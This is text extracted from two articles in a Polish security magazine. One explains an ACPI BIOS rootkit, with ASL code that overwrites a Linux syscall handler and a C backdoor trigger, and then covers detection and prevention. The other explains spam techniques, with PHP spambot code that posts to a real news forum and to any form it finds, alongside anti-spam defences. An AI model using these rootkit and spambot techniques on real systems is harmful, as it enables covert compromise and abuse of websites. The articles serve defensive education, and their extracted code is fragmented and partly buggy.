czyli mówiąc wprost – niezbędna jest jego
dezasemblacja i ponowna kompilacja
wraz z dołączonym kodem. Warto
dodać, iż sam BIOS zawiera interpreter
niezbędny do wykonania naszego kodu
ASL/AML. Doskonałym dezasemblerem
jest IDA Pro Free, którą można
pobrać ze strony producenta, również
wyszczególnionej w ramce W Sieci.
Zaopatrzeni w odpowiednie narzędzia,
możemy przystąpić do demonstracji
przykładowego kodu backdoora, wraz
z opisem jego działania. Będziemy się
ciągle opierać na badaniach Johna
Heasmana, zaprezentowanych podczas
konferencji BlackHat.

Budujemy rootkita

Pierwszą i zasadniczą kwestią, która
decyduje o kształcie rootkita, jest system
operacyjny, który ma paść jego ofiarą.
Różne będą bowiem metody obejścia
zabezpieczeń Windows, różne – Linuksa.
Chodzi generalnie o włączenie naszego

rootkita do pamięci – tak, aby kod w nim
zapisany zaczął się wykonywać.

Zacznijmy od systemu Windows – jako,

że jest on chyba nieco bardziej popularny
od darmowego Linuksa. Zgodnie z tym,
co przedstawił Heasman, w systemach z
rodziny NT mamy do czynienia z funkcją

SeAccessCheck

, której zadaniem jest

sprawdzenie, czy aktualnie działający
proces ma pełne, czy ograniczone prawa
dostępu do zasobów systemowych.
Prototyp tejże funkcji przedstawiony jest na
Listingu 2.

Jak widać na Listingu 2., funkcja

przyjmuje dużą ilość parametrów.
Większości z nich nie trzeba opisywać,
albowiem ich nazwy są na tyle intuicyjne,
że nawet mało wprawny użytkownik będzie
wiedział, jakie jest ich zastosowanie i
znaczenie.

Dla nas interesujący jest parametr

AccessMode

, który odpowiada za

ustalenie, czy wywołanie jest dokonywane
z przestrzeni jądra systemu, otrzymując
tym samym pełne uprawnienia, czy też
z poziomu przestrzeni użytkownika, czyli
ze sporymi ograniczeniami w swobodzie
wykonywania kodu. Jasnym jest więc,
że musimy w jakiś sposób ustawić dla
naszego rootkita odpowiednią wartość
tego parametru. Użyjemy do tego
celu skryptowego języka ACPI, tak, jak
zaprezentował Heasman na konferencji
BlackHat. Odpowiednie wywołanie funkcji
zaprezentowane jest na Listingu 3.

Jak widać na listingu, funkcja nadpisuje

adres w pamięci, w którym rezyduje

Listing 4.

Nadpisanie funkcji obsługi nieużywanego przerwania – sys_ni_syscall()

OperationRegion(NISC, SystemMemory, 0x12BAE0, 0x40)
{
NICD, 0x40
}
Store(Buffer () {0xFF, 0xD3, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90}, NICD)

Listing 5.

Uruchomienie backdoora

#define UNUSED_INT 0x11 // nieużywane przerwanie
#include

<syscall.h>

int

backdoor

()

{

//

tutaj

jest

kod

naszego

backdoora

return

-

ENOSYS

;

//

kod

b

łę

du

zwi

ą

zany

z

obs

ł

ug

ą

nieistniej

ą

cego

przerwania

}

int

main

()

{

return

(

syscall

(

UNUSED_INT

,

&

backdoor

));

}

background image

ATAK

42

HAKIN9 6/2008

Windowsowe sprawdzenie przestrzeni
wykonywania rozkazu. Nadpisując
konkretne pole funkcji odpowiednią
wartością, wymusimy traktowanie kodu
naszego rootkita jako uprzywilejowanego,
wywoływanego przez kernel. Stąd
uzyskujemy pełne prawa pracy na systemie
Windows, tak, jakbyśmy dysponowali
rootkitem przestrzeni kernela. Jednak
zaletą naszego rozwiązania jest fakt, że
rootkit będzie bardzo trudny do wykrycia i
usunięcia z poziomu systemu Windows.

Widać jednak, że skonstruowanie

takiego rootkita wiąże się z dużym
wysiłkiem i nakładem pracy. Dodatkowo,
gdyby nie prezentacja wielokrotnie
cytowanego i wspominanego przeze
mnie Johna Heasmana, trudnym byłoby
dojście do tego wszystkiego i samodzielne
odkrycie tajników rootkita ACPI.

W systemie Linux Heasman

zaproponował inny rodzaj exploitacji
mającej na celu przejęcie uprawnień
jądra systemu. Metoda opiera się na
wykorzystaniu specjalnej funkcji systemu
Linux, której zadaniem jest obsługa
nieużywanych przerwań. Musimy więc
odwołać się do nieużywanego przerwania
systemowego, aby wywołać tę właśnie
funkcję. Oczywiście, zostanie ona
nadpisana, prowadząc do uruchomienia
naszego rootkita zamiast funkcji obsługi.
Kod przedstawiony jest na Listingach 4. i 5.

Jak widać na Listingu 4. nadpisujemy

adres funkcji tak, by zamiast niej wywołana
została funkcja, której adres rezyduje w
rejestrze EBX – dane zapisane do bufora
to nic innego, jak asemblerowe opcody
instrukcji

call ebx; retn; nop; nop;

nop; nop; nop

. Ciało funkcji zostało

więc nadpisane – tak, by wywołała ona
zawartość rejestru EBX – to właśnie
on jest używany przy przekazywaniu
argumentów do funkcji przerwań przez
funkcję

syscall()

. Odpowiednie jej

wywołanie zaprezentowane jest na
Listingu 5.

Kod zawarty na Listingu 5 łączy to, co

zrobiliśmy za pomocą ASL, z systemem
operacyjnym – obsługa nieużywanego
przerwania jest przekazywana do naszej
funkcji, która jest tak naprawdę tylną furtką
– możemy tam wstawić kod otwierający
np. powłokę na wskazanym porcie, bądź
jakąś procedurę logowania zdarzeń
wykonywanych na komputerze użytkownika.

Jedynym ograniczeniem, jakie mamy, jest
nasza wyobraźnia.

Ta sekcja artykułu zaprezentowała

sposób, w jaki można przygotować
przykładowego rootkita. Techniki te i wiele
innych pokazuje John Heasman w swoim
wystąpieniu z konferencji BlackHat, do
którego odnośniki znajdują się w ramce
W Sieci. Ostatnia już część niniejszego
artykułu będzie poświęcona kwestii, która
może być bardziej istotna w codziennej
pracy – jak wykryć takiego rootkita i jak się
go pozbyć. Nikt przecież nie chciałby być
ofiarą podobnego ataku, w dodatku ofiarą
niezorientowaną, co można zrobić w takiej
nieciekawej sytuacji.

Prewencja i wykrywanie

– zabezpieczenie komputera

przed rootkitem

Gdy wiemy już, jak działa rootkit, zostaje nam
do omówienie kwestia jego wykrycia i, co
ważniejsze, zabezpieczenia się przed nim.
Zaczniemy więc od metod zabezpieczenia
się przed rootkitem w BIOSie.

Podstawową metodą uniemożliwiającą

instalacje takiego rootkita jest
zabezpieczenie BIOSu przed flashowaniem.
Nie mogąc nadpisać BIOSu, nie mamy
jak umieścić rootkita w jego pamięci,
czyli de facto jesteśmy bezpieczni. Jest to
najprostsza metoda, wiąże się ona jednak
z pewnymi niedogodnościami, albowiem
przy każdej próbie aktualizacji BIOSu
musimy przestawić odpowiednią zworkę
na płycie głównej, bądź – jeśli BIOS na
to pozwala – zmienić ustawienia w jego
programie konfiguracyjnym.

Drugim, choć bardziej radykalnym

i niekomfortowym w życiu codziennym,
rozwiązaniem jest po prostu wyłączenie
obsługi ACPI. Polepszenie bezpieczeństwa
jest oczywiste, albowiem wszystkie
funkcje odpowiadające za ACPI zostają
wyłączone, programy napisane w ASL/AML
nie działają – jesteśmy stuprocentowo
bezpieczni. Jednak jest to rozwiązanie o
tyle niekomfortowe, że tracimy niemałą
funkcjonalność – czyż nie każdy z nas
przyzwyczaił się do tego, że po naciśnięciu
Wyłącz system komputer sam się wyłącza?
A bez ACPI musielibyśmy w tym celu
ręcznie wciskać przycisk Power, oczywiście
po uprzednim ukazaniu się komunikatu,
znanego np. z Windows 98 - Możesz teraz
bezpiecznie wyłączyć komputer.

Heasman przedstawił jeszcze jeden

sposób na zabezpieczenie. Są to BIOSy
podpisywane cyfrowo, które umożliwiają
kontrolę nad tym, czy coś niechcianego
nie zostało zapisane do pamięci flash.
Dzięki temu unikniemy sytuacji, w której
niepożądany kod zagości na naszym
komputerze.

Pozostaje jeszcze kwestia wykrywania

takich niechcianych rzeczy na naszej
maszynie. Jak już wspominałem,
działania rootkita nie pozostaną do końca
niezauważone. W systemie Windows
otrzymamy komunikat o błędzie, mówiący
o tym, że ACPI próbuje odwołać się do
obszaru pamięci zarezerwowanego dla
systemu Windows. Będzie to jednak tylko
powiadomienie, albowiem Windows zezwoli
na taką operację.

Na Linuksie możemy posłużyć się

poleceniem dmesg. Za jego pomocą
wypiszemy zawartość buforów ACPI oraz
odczytamy ewentualne kody błędów
– podobnie, jak w Windows, dowiemy się,
że coś próbuje odwołać się do adresu w
pamięci zarezerwowanego dla systemu
operacyjnego, bądź – że bufory ACPI
dziwnie wyglądają.

Detekcja rootkita ACPI nie jest

więc zadaniem pracochłonnym dla
doświadczonego administratora. Jednak
mniej wprawna osoba może nie uznać
tych błędów za coś groźnego, tłumacząc
sobie to jakimś wyjątkiem lub zwyczajnie
– błędem BIOSu.

Podsumowanie

Rootkity ACPI wydają się być ciekawym
zjawiskiem we współczesnej informatyce.
Jednak ich skuteczność oraz łatwość
ukrycia przeciwstawione są ogromnym
trudnościom w ich implementacji i
doskonaleniu, do ich poprawnego działania
niezbędna jest bowiem duża wiedza
twórcy. Miejmy nadzieję, że Czytelnik
nie padnie ofiarą tak spreparowanego
oprogramowania i nie będzie musiał
martwić się o bezpieczeństwo własnego
BIOSu, nie tracąc przy tym jego
funkcjonalności.

Konrad Zuwała

Autor zajmuje się bezpieczeństwem aplikacji

internetowych oraz szeroko rozumianą ochroną

systemów komputerowych. W wolnych chwilach

programuje (głównie C/C++, PHP) oraz zarządza

portalem internetowym.

Kontakt z autorem: kzuwala@poczta.onet.pl

background image
background image

44

HAKIN9

ATAK

6/2008

A

by daną wiadomość można było nazwać
spamem, powinna spełniać kilka warunków:
brak możliwości zidentyfikowania nadawcy,

niewyrażenie przez odbiorcę zgody na jej
otrzymanie, wiadomość ma charakter reklamowy,
informacyjny lub ostrzegawczy.

Profilaktyka

Najlepszą metodą dostarczenia spamerom
naszego adresu e-mailowego jest jego
upublicznienie, czyli podanie go w otwartej
formie na dowolnej stronie internetowej (nawet
mało znanej), grupie dyskusyjnej itp. Spamerzy
w celu pozyskiwania adresów stosują programy
nazywane harvesterami, czyli po polsku
kombajnami. Są to często skomplikowane
aplikacje, które umożliwiają wychwycenie nawet
adresów zabezpieczonych. Dlatego podstawowym
sposobem ochrony adresu e-mailowego przed
kombajnami jest niepublikowanie go, przede
wszystkim na grupach dyskusyjnych (zarówno w
nagłówku, jak i w treści wpisu), forach dyskusyjnych
(np. w podpisie), stronach internetowych (w
komentarzach na innych stronach itp.).

Oczywiście nie należy też podawać adresów

osób znajomych, ponieważ kombajn nie interesuje
się tym, skąd adres wziął się w danym medium,
tylko samym faktem, że tam został umieszczony.
Złośliwi internauci często podają adresy
innych osób na popularnych stronach w celu
spowodowania, by nielubiana osoba dostawała
więcej spamu. Niestety, często robią to również

RAFAŁ PODSIADŁY

Z ARTYKUŁU

DOWIESZ SIĘ

jakie są techniki spamowania,

jak przy pomocy kilku prostych

chwytów można wysłać mail bez

adresata,

jak się chronić i na co uważać

podczas surfowania w

Internecie.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy PHP,

znać podstawy C++,

znać podstawy JavaScript

osoby po prostu nieświadome potencjalnych
szkód dla właściciela adresu. Jeśli jednak nie
podamy nigdzie swojego adresu, to nikt prócz
naszych znajomych nie będzie go znał – a
więc nie będzie się mógł z nami skontaktować.
Jest to niedopuszczalne np. w przypadku firm.
Dlatego też należy stosować specjalne sposoby
ochrony podawanego adresu przed programami
przeszukującymi – np. poprzez kodowanie
adresu e-mail w postaci heksadecymalnej. To
rozwiązanie zabezpieczy nas przed amatorami, ale
profesjonalne narzędzia spamerów mogą sobie z
tym zabezpieczeniem poradzić.

W celu umożliwienia kontaktu – zamiast

zamieszczać adres e-mail bezpośrednio na
stronie WWW – możemy utworzyć formularz, w
którym nadawca będzie mógł wpisać samą treść
listu, a następnie zatwierdzić jej wysłanie pod
z góry zdefiniowany adres. Taką metodę firmy
stosują bardzo często – nie należy się więc dziwić,
jeśli na jakiejś stronie w zakładce Kontakt zamiast
adresu znajdziemy taki formularz. Firma po prostu
chce się ochronić przed spamem.

Inną metodą ochrony jest przekształcenie

adresu tak, by mógł go odgadnąć tylko człowiek.
Załóżmy na przykład, że nasz adres e-mail to
spam@tonid.net. Tradycyjną formą przekształcenia
jest dodawanie członu nospam – czyli nasz
adres moglibyśmy podawać jako spam-
nospam@tonid.net.
Niestety, wiele kombajnów
rozpoznaje już takie najprostsze przekształcenia.
Dlatego też im bardziej nietypowe przekształcenie,

Stopień trudności

Techniki

spamowania

O tym, co robią spamerzy, jakich technik używają i co grozi

zwykłemu użytkownikowi, gdy zasiada do komputera.

background image

45

HAKIN9

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

6/2008

tym lepiej (warto też przy modyfikacjach
nie używać słów w języku angielskim).
Dobrym przekształceniem tego adresu
byłoby więc na przykład spam.usun-
wszystko-po-kropce_malpka_tonid_
kropka_net
. Oczywiście nie należy też
przesadzać – może się bowiem okazać, iż
nadawca nie będzie na tyle inteligentny by
zrozumieć, co należy zrobić, aby z adresu
przekształconego uzyskać prawidłowy.
Przekształcenia są szczególnie popularne
na grupach dyskusyjnych, gdzie mamy do
dyspozycji niewiele innych metod.

Kolejny chwyt – kodowanie adresu

za pomocą odwracania prostego
przy wykorzystaniu algorytmu łatwo
odwracalnego, na przykład ROT-13 lub
Base64. Weźmy tekst To zdanie jest
zakodowane
– po zastosowaniu ROT-13
wygląda następująco: Gb mqnavr wrfg
mnxbqbjnar
. Świadomy internauta od razu
rozpozna, że adres został zaszyfrowany
przy użyciu ROT-13, ale możemy dla
ułatwienia napisać np. w podpisie
wiadomości wysłanej na grupę dyskusyjną,
że adres jest zakodowany za pomocą tego
algorytmu. W celu zakodowania adresu
przy użyciu algorytmu Base64 możemy
użyć konwertera, a odkodować go za
pomocą dekodera. Adres spam@tonid.net
będzie wyglądać po zakodowaniu
następująco: c3BhbUB0b25pZC5uZXQ =.
Niestety, tu koniecznie trzeba podać, w
jaki sposób adres został zakodowany,
ponieważ większość internautów nie
będzie miała zielonego pojęcia, co z takim
szyfrem zrobić. Artykuł zawiera plik źródłowy
programu służącego do kodowania
Base64

Istnieje sporo sposobów na takie

zakodowanie adresu e-mail, aby był
on widoczny na stronie internetowej w
czytelnej formie, zaś nie dawał się łatwo
wywnioskować z kodu strony. Większość
kombajnów nie potrafi takich adresów
wychwycić (ponieważ analizują właśnie
kod źródłowy, a nie wyświetloną w
przeglądarce zawartość), ale zawsze istnieje
niebezpieczeństwo, że spamerzy wbudowali
już funkcje wychwytujące i dekodujące w
swoje programy. Pierwszą metodą, którą
możemy tu zastosować, jest kodowanie za
pomocą tzw. HTML Entities, czyli encji HTML.
Adres spam@tonid.net będzie miał w kodzie
strony postać:

&#115;&#112;&#097;&#109;

&#064;&#116;&#111;&#110;&#105;&#100;

&#046;&#110;&#101;&#116;

, ale na stronie

WWW zostanie wyświetlony w czytelnej dla
internauty formie oraz poprawnie obsłużony.
Jednak z najnowszych informacji wynika, że
roboty już potrafią sobie z tym poradzić.

Drugim sposobem jest kodowanie za

pomocą tzw. URL encoding (użyteczne tylko
przy tworzeniu odnośników do wysyłania
poczty). W tej formie adres spam@tonid.net
wygląda następująco: %73%70%61%6D%
40%74%6F%6E%69%64%2E%6E%65%74
.
Adres jest również obsługiwany prawidłowo
przez przeglądarki. Niestety, chodzą słuchy,
że ta metoda może również już nie działać
(a ściślej – że programy spamerów są w
stanie ją obejść).

Kolejną metodą jest użycie

JavaScript. Zastosowany algorytm łączy
Javascript z poprzednimi metodami i
daje moim zdaniem bardzo wysokie
prawdopodobieństwo, że programy
spamerów adresu nie wychwycą. Niestety,
aby adres został wyświetlony, przeglądarka
musi mieć włączoną obsługę JavaScript
(na szczęście w większości przeglądarek
jest on domyślnie uaktywniony).

A teraz coś zupełnie z innej beczki

– zastosowanie obrazka zamiast adresu.

Ta metoda jest najbezpieczniejsza, jednak
istnieją także sposoby automatycznego
przekształcania grafiki na tekst (OCR).
Wadą jest to, że użytkownicy przeglądarek
tekstowych oraz osoby niewidome,
korzystające z narzędzi odczytujących
głosowo treść strony, naszego adresu
nie zobaczą. Musimy także wykorzystać
dodatkową aplikację do stworzenia
elementu graficznego. Na szczęście
istnieją co najmniej dwa rozwiązania, które
mogą nam to ułatwić:

• Serwis hidentity umożliwia

automatyczne utworzenie elementu
graficznego z naszym adresem e-
mail i nie tylko (także np. numerem
Gadu-Gadu, ICQ, adresem Jabbera,
adresem strony, numerem telefonu
itp.). Wystarczy się zarejestrować,
podać odpowiednie adresy, wybrać
wzór graficzny i wkleić odpowiedni kod
na stronie. Jest to rozwiązanie bardzo
wygodne, ponieważ wszystkie dane są
przechowywane na koncie hidentity.
Zatem jeśli zmienimy adres e-mail (lub
założymy nową skrzynkę), możemy
po prostu wprowadzić odpowiednie

Listing 1.

SpyBot – przykładowy kod spamujący komentarz serwisu Onet.pl

<?

php

$url

=

'http://wiadomosci.onet.pl/10,15,11,4040918,0,forum.html'

;

$post

=

'FormID=1187433833.3CA88848&TT=Test&TX=Testowa tresc&PD=testowy&OK'

;


$ch

= curl_init

(

)

;

curl_setopt

(

$ch

, CURLOPT_URL,

$url

)

;

curl_setopt

(

$ch

, CURLOPT_RETURNTRANSFER, 1

)

;

curl_setopt

(

$ch

, CURLOPT_POST, 1

)

;

curl_setopt

(

$ch

, CURLOPT_POSTFIELDS,

$post

)

;

curl_exec

(

$ch

)

;

curl_close

(

$ch

)

;

?>

Listing 2.

SpyBot – przykładowy kod spamujący odnaleziony formularz

<?

php

$code

= file_get_contents

(

'adres'

)

;

preg_match

(

'#

<

form action=

"(.*?)"

#

', $code, $action );

preg_match_all( '

#

<

input name=

"(.*?)"

#

', $code, $inputs );


foreach( $inputs[1] as $input )
{
$data .= $input . '

=spam&

';

}

file_get_contents( $action[1] . '

?'

. $data );

?

>

background image

ATAK

46

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

47

HAKIN9

6/2008

modyfikacje w konfiguracji konta,
a wszystkie wyświetlane na innych
stronach (w tym np. na forach
dyskusyjnych) obrazki zostaną
automatycznie zmodyfikowane.

• Niektóre techniki sprowadzają się do

umieszczania całej treści strony www
w CSS. Jest to jednak propozycja

dla bardziej zaawansowanych
webmasterów.

Ciekawą metodą przeciwdziałania
kombajnom jest walka aktywna, a
więc podawanie im ogromnej liczby
fałszywych, nieistniejących adresów
e-mail (bądź adresów należących do

spamerów). Kombajn nie jest bowiem
w stanie sprawdzić, czy adres jest
prawidłowy, czy nie (może jedynie
sprawdzać jego składnię). W ten
sposób spamerskie kombajny zostają
przepełnione fałszywymi adresami – co
powoduje, że efektywność wysyłania
spamu znacznie się zmniejsza.

Listing 3a.

base64.cpp

#include

<fstream.h>

#include

<string.h>

#include

<conio.h>

class

base64

{

public

:

char

*

CharToBin

(

int

);

char

BinToChar

();

base64

();

~

base64

();

void

SetChar

(

char

*);

char

*

Szyfruj

(

char

*);

char

*

Odszyfruj

(

char

*);

private

:

char

*

chars

;

//wartosc bitowa znaku

char

*

znaki

;

//24-bitowa wartosc 3 znakow

char

*

zakodowane

;

//znaki wyjsciowe

char

tablica

[

64

];

}

;

//destruktor

base64

::

~

base64

()

{

delete

znaki

;

delete

chars

;

}

//metoda zapisujaca wartosc binarna do obiektu
//do dalszej obrobki

void

base64

::

SetChar

(

char

*

_liczba

)

{

strcpy

(

chars

,

_liczba

);

}

//konstruktor - ustala tablice kodowania

base64

::

base64

()

{

strcpy

(

tablica

,

"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst

uvwxyz0123456789+/="

);

char

*

chars

=

new

char

[

7

];

char

*

znaki

=

new

char

[

24

];

memset

(

chars

,

NULL

,

strlen

(

chars

)-

1

);

memset

(

znaki

,

NULL

,

strlen

(

znaki

)-

1

);

}

//metoda zamieniajaca znak na jego zapis binarny

char

*

base64

::

CharToBin

(

int

liczba

)

{

int

tmp

=

0

;

for

(

int

i

=

7

;

i

>-

1

;

i

--)

{

tmp

=

liczba

%

2

;

if

(

tmp

==

1

)

chars

[

i

]=

'1'

;

else

chars

[

i

]=

'0'

;

tmp

=

0

;

liczba

=

liczba

/

2

;

}

chars

[

8

]=

'\0'

;

return

(

chars

);

}

//metoda zamieniajaca zapis binarny na znak

char

base64

::

BinToChar

()

{

int

tmp

=

0

;

int

mnoznik

=

256

;

int

liczba

=

0

;

for

(

int

i

=-

1

;

i

<

8

;

i

++)

{

liczba

=(

chars

[

i

]-

48

)*

mnoznik

;

tmp

=

tmp

+

liczba

;

mnoznik

=

mnoznik

/

2

;

}

return

tmp

;

}

//metoda odszyfrowujaca, zwracajaca 3 odkodowane litery

char

*

base64

::

Odszyfruj

(

char

*

_a

)

{

char

*

odkodowane

=

new

char

[

4

];

memset

(

odkodowane

,

NULL

,

strlen

(

odkodowane

)-

1

);

//zamiana 4 znakow na zapis binarny

char

*

a

=

new

char

[

9

];

char

*

b

=

new

char

[

9

];

char

*

c

=

new

char

[

9

];

char

*

d

=

new

char

[

9

];

//wyzerowanie tablic a,b,c,d

memset

(

a

,

NULL

,

strlen

(

a

)-

1

);

memset

(

b

,

NULL

,

strlen

(

b

)-

1

);

memset

(

c

,

NULL

,

strlen

(

c

)-

1

);

memset

(

d

,

NULL

,

strlen

(

d

)-

1

);

//petla zwracajaca index tablicy base64 w zaleznosci od znaku

for

(

int

i

=

0

;

i

<

65

;

i

++)

{

if

(

tablica

[

i

]==

_a

[

0

])

strcpy

(

a

,

CharToBin

(

i

));

if

(

tablica

[

i

]==

_a

[

1

])

strcpy

(

b

,

CharToBin

(

i

));

if

(

tablica

[

i

]==

_a

[

2

])

strcpy

(

c

,

CharToBin

(

i

));

if

(

tablica

[

i

]==

_a

[

3

])

strcpy

(

d

,

CharToBin

(

i

));

}

background image

ATAK

46

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

47

HAKIN9

6/2008

Listing 3b.

base64.cpp

//usuniecie dwoch najbardziej znaczacych bitow i utworzenie
//24-znakowego lancucha bitowego

char

*

tmp

=

new

char

[

33

];

memset

(

tmp

,

NULL

,

strlen

(

tmp

)-

1

);

for

(

i

=

0

;

i

<

32

;

i

++)

{

if

(

i

<

6

)

tmp

[

i

]=

a

[

i

+

2

];

if

((

i

>

7

)&&(

i

<

14

))

tmp

[

i

-

2

]=

b

[

i

-

6

];

if

((

i

>

15

)&&(

i

<

22

))

tmp

[

i

-

4

]=

c

[

i

-

14

];

if

((

i

>

23

)&&(

i

<

32

))

tmp

[

i

-

6

]=

d

[

i

-

22

];

}

tmp

[

32

]=

'\0'

;

//podzial lancucha na trzy osmiobitowe lanuchy i zamiana ich

na znaki

for

(

i

=

0

;

i

<

24

;

i

++)

{

if

(

i

<

8

)

a

[

i

]=

tmp

[

i

];

if

((

i

>

7

)&&(

i

<

16

))

b

[

i

-

8

]=

tmp

[

i

];

if

((

i

>

15

)&&(

i

<

24

))

c

[

i

-

16

]=

tmp

[

i

];

}

a

[

8

]=

'\0'

;

b

[

8

]=

'\0'

;

c

[

8

]=

'\0'

;

//zlaczenie trzech liter w lancuch i zwrocenie do programu

SetChar

(

a

);

odkodowane

[

0

]=

BinToChar

();

SetChar

(

b

);

odkodowane

[

1

]=

BinToChar

();

SetChar

(

c

);

odkodowane

[

2

]=

BinToChar

();

odkodowane

[

3

]=

'\0'

;

return

odkodowane

;

}

//metoda szyfrujaca zwracajaca zakodowane 4 litery

char

*

base64

::

Szyfruj

(

char

*

_a

)

{

strcpy

(

znaki

,

CharToBin

(

_a

[

0

]));

strcat

(

znaki

,

CharToBin

(

_a

[

1

]));

strcat

(

znaki

,

CharToBin

(

_a

[

2

]));

char

*

zakodowane

=

new

char

[

4

];

memset

(

zakodowane

,

NULL

,

strlen

(

zakodowane

)-

1

);

//bloki pamieci dlugosci 6 bitow – indeksy w tablicy base64

char

*

blok1

=

new

char

[

9

];

char

*

blok2

=

new

char

[

9

];

char

*

blok3

=

new

char

[

9

];

char

*

blok4

=

new

char

[

9

];

//wyzerowanie blokow

memset

(

blok1

,

NULL

,

strlen

(

blok1

)-

1

);

memset

(

blok2

,

NULL

,

strlen

(

blok2

)-

1

);

memset

(

blok3

,

NULL

,

strlen

(

blok3

)-

1

);

memset

(

blok4

,

NULL

,

strlen

(

blok4

)-

1

);

//uzupelnienie blokow dwoma znaczacymi zerami

blok1

[

0

]=

'0'

;

blok1

[

1

]=

'0'

;

blok2

[

0

]=

'0'

;

blok2

[

1

]=

'0'

;

blok3

[

0

]=

'0'

;

blok3

[

1

]=

'0'

;

blok4

[

0

]=

'0'

;

blok4

[

1

]=

'0'

;

//podzial lancucha binarnego na 4 podlancuchy dlugosci 6 bitow

for

(

int

i

=

0

;

i

<

24

;

i

++)

{

if

(

i

<

6

)

{

blok1

[

i

+

2

]=

znaki

[

i

];

blok1

[

8

]=

'\0'

;

}

else

if

((

i

>

5

)&&(

i

<

12

))

{

blok2

[

i

-

4

]=

znaki

[

i

];

blok2

[

8

]=

'\0'

;

}

else

if

((

i

>

11

)&&(

i

<

18

))

{

blok3

[

i

-

10

]=

znaki

[

i

];

blok3

[

8

]=

'\0'

;

}

else

if

((

i

>

17

)&&(

i

<

24

))

{

blok4

[

i

-

16

]=

znaki

[

i

];

blok4

[

8

]=

'\0'

;

}

}

//podstawienie znakow z tabeli base64 wg 4 indeksow obliczonych

z blokow 1-4

int

a

,

b

,

c

,

d

;

SetChar

(

blok1

);

a

=

BinToChar

();

SetChar

(

blok2

);

b

=

BinToChar

();

SetChar

(

blok3

);

c

=

BinToChar

();

SetChar

(

blok4

);

d

=

BinToChar

();

//zlaczenie w calosc

zakodowane

[

0

]=

tablica

[

a

];

zakodowane

[

1

]=

tablica

[

b

];

zakodowane

[

2

]=

tablica

[

c

];

zakodowane

[

3

]=

tablica

[

d

];

zakodowane

[

4

]=

'\0'

;

return

zakodowane

;

}

//czesc glowna programu

void

main

(

void

)

{

clrscr

();

//base64 *a=new base64;
//cout<<a->Szyfruj("xyz")<<endl;
//delete a;

base64

*

b

=

new

base64

;

cout

<<

b

->

Odszyfruj

(

"eHl6"

);

delete

b

;

}

background image

ATAK

48

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

49

HAKIN9

6/2008

Dwoma serwisami, które oferują tego

typu usługę, są Antyspam.pl i Spam
Poison. Warto podawać adresy tych
dwóch stron w linkach na np. swoich
blogach czy też w podpisie na forum
dyskusyjnym. Możemy oczywiście
bezpiecznie wejść na obie strony.
Zobaczymy ogromne listy adresów e-
mailowych. W przypadku Antyspam.pl
są one generowane losowo, natomiast
Spam Poison podaje adresy używane
przez spamerów. Jedyną wadą jest fakt,
że domeny tych serwisów mogą być w
łatwy sposób dodane do czarnych list w
spamerskich kombajnach. Ale z czasem i
na to znajdzie się rozwiązanie.

Największą plagą Internetu jest spam

i to nie tylko ten w postaci e-maili. W
przypadku aplikacji internetowych możemy
się z nim spotkać wszędzie tam, gdzie
użytkownicy mają możliwość dodawania
własnej treści do serwisu. Może to mieć
miejsce w przypadku forów internetowych
czy komentarzy do treści zawartych na
stronie. W przypadku aplikacji internetowych
zadaniem spamu jest wstawienie linków
prowadzących do pozycjonowanego
serwisu wszędzie tam, gdzie jest to
możliwe. Powodem takiego stanu rzeczy
jest sposób działania wyszukiwarek
internetowych. Zdecydowana większość z
nich promuje strony na podstawie ilości
linków, które do nich prowadzą.

Atak

Działania spambotów można podzielić
na dwa typy. Pierwszy odnosi się
do spamowania konkretnej aplikacji
(np. komentarzy systemu blogowego
WordPress), drugi zaś jest bardziej
uniwersalny i polega na spamowaniu
każdego dostępnego formularza.

W pierwszym przypadku dane

wysyłane są bezpośrednio pod adres
URL odpowiadający za ich zapis. Nazwy
zmiennych pobierane są z domyślnej
instalacji, dodatkowo uwzględniane są ich
najpopularniejsze odmiany. Przykładowo,
jeśli domyślna nazwa zmiennej

odpowiadającej za nick użytkownika to
login, bot w celu optymalizacji swojego
działania może też uwzględnić popularne
modyfikacje nazwy tej zmiennej, np.
username, nick, user.

Działanie uniwersalnych spambotów

jest bardziej rozbudowane. Nie wysyłają

one danych bezpośrednio do pliku
odpowiedzialnego za zapis, ale parsują
stronę w poszukiwaniu formularzy. Po ich
znalezieniu wypełniają pola, które zawiera
dany formularz, a następnie wysyłają go
pod adres z parametru action znacznika

<form />

.

Rysunek 1.

Analiza ataków na świecie

Rysunek 2.

Analiza spamu w ciągu ostatnich 100 dni

W Sieci:

http://www.commtouch.com/Site/Home/

home.asp

http://wikipedia.org

background image

ATAK

48

HAKIN9 6/2008

JAK ZOSTAĆ SPAMEREM. DROGA WIEDZY I PORAŻEK

49

HAKIN9

6/2008

Obrona

Pomimo, że skuteczna walka ze
spamem staje się coraz trudniejsza,
istnieją metody, które utrudniają im
pracę. Obecnie najpopularniejszą
techniką obrony przed spamem są
obrazki z tokenami (captcha). Metoda
ta jest skuteczna przy zastosowaniu
różnorodności wyglądu obrazków.
Przykładem stosunkowo dobrze
stworzonego mechanizmu captcha
jest ten wykorzystywany przez bramkę
SMS jednego z operatorów sieci.
Stosuje on różne kroje czcionki, pozycje
wyświetlania tokenu, dodaje losowe
szumy tła, a token przyjmuje zamiast
losowo wygenerowanego ciągu znaków
wyrazy ze słownika. Mimo wysokiej
skuteczności tej metody ma ona jedną
znaczącą wadę. Utrudnia ona często
dostęp nie tylko spambotom, ale także
zwykłym użytkownikom. Dzieje się tak
na skutek słabej czytelności tokenów
oraz zbyt dużej inwazyjności – w końcu
mamy utrudniać działanie botom, a nie
użytkownikom.

W przypadku captcha bot może

próbować odczytać kod analizując
poszczególne piksele obrazka.
Rozwiązaniem tego problemu jest odmiana
poprzedniej metody, która zamiast
przedstawiania tokenów graficznych
zadaje użytkownikom pytania. Rodzaj pytań
jest zależny od programisty tworzącego
zabezpieczenie. Najczęściej spotykane są
pytania o stolice państwa oraz działania
arytmetyczne. Stosuje się np. prośbę o
podanie wyniku nieskomplikowanego
działania, jak (2+2) = ??

Podczas dodawania przez

użytkowników treści do serwisu możemy
być pewni dwóch akcji – ruchu myszką
oraz naciśnięcia klawisza. Wykorzystując
te zdarzenia, przy pomocy JavaScript
